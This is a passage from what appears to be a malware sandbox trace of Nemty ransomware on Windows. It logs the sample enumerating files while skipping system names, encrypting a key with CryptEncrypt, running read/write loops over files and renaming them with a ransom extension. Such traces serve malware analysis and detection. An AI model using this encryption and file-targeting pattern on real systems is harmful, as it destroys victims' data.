lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.378] CloseHandle (hObject=0xffffffff) returned 0 [0151.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png._nemty_kgobjgd_")) returned 0 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="10.png", cAlternateFileName="")) returned 1 [0151.378] lstrcmpiW (lpString1="10.png", lpString2=".") returned 1 [0151.378] lstrcmpiW (lpString1="10.png", lpString2="..") returned 1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="...") returned 1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="windows") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="$RECYCLE.BIN") returned 1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="rsa") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="NTDETECT.COM") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="ntldr") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="MSDOS.SYS") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="IO.SYS") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="boot.ini") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="boot.ini") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="ntuser.dat") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="desktop.ini") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="CONFIG.SYS") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="RECYCLER") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="BOOTSECT.BAK") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="bootmgr") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="programdata") returned -1 [0151.379] lstrcmpiW (lpString1="10.png", lpString2="appdata") returned -1 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0151.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0151.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.379] Sleep (dwMilliseconds=0x5) [0151.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde063b0, dwHighDateTime=0x1d561e8)) [0151.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde063b0, dwHighDateTime=0x1d561e8)) [0151.380] GetLastError () returned 0x5 [0151.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.380] GetLastError () returned 0x5 [0151.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.380] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0151.380] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0151.381] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0151.381] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="CoRlZD8jfI3yTe05z3eyeIufakIiIwqlOjit/IgtPu9dQFKF2VFJaEEE7NvzTYQ1\r\n/5ucHtGxIgCefeaSWhkRq80nvpweAnFXIM+eDr4+DQVCqUzPEufjFwDkhw++ghFe\r\njWhICyuu80aN1sl7DXa3GocjNdnOMV4zcEUCNHTx/+hfAm4JF0xq9fqECbAzE3wV\r\n7a1ESY8m9hKTbkj/B4nu6C5ElYfTVpAJEGcFeSZH7MshQxO5gwEEzZiMMJxM3zKJ\r\nEmWQMYjIzDsqtcI7g8+XWrVVIH1YyTW5hxe/0MtFkgoyWpvoGbYSbmS+5CPqg4z1\r\nU+vRkfJqroi/Mg5cnIcfTA==\r\n", pcchString=0x653e91c) returned 1 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.381] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.381] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0151.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.474] ReadFile (in: hFile=0xffffffff, 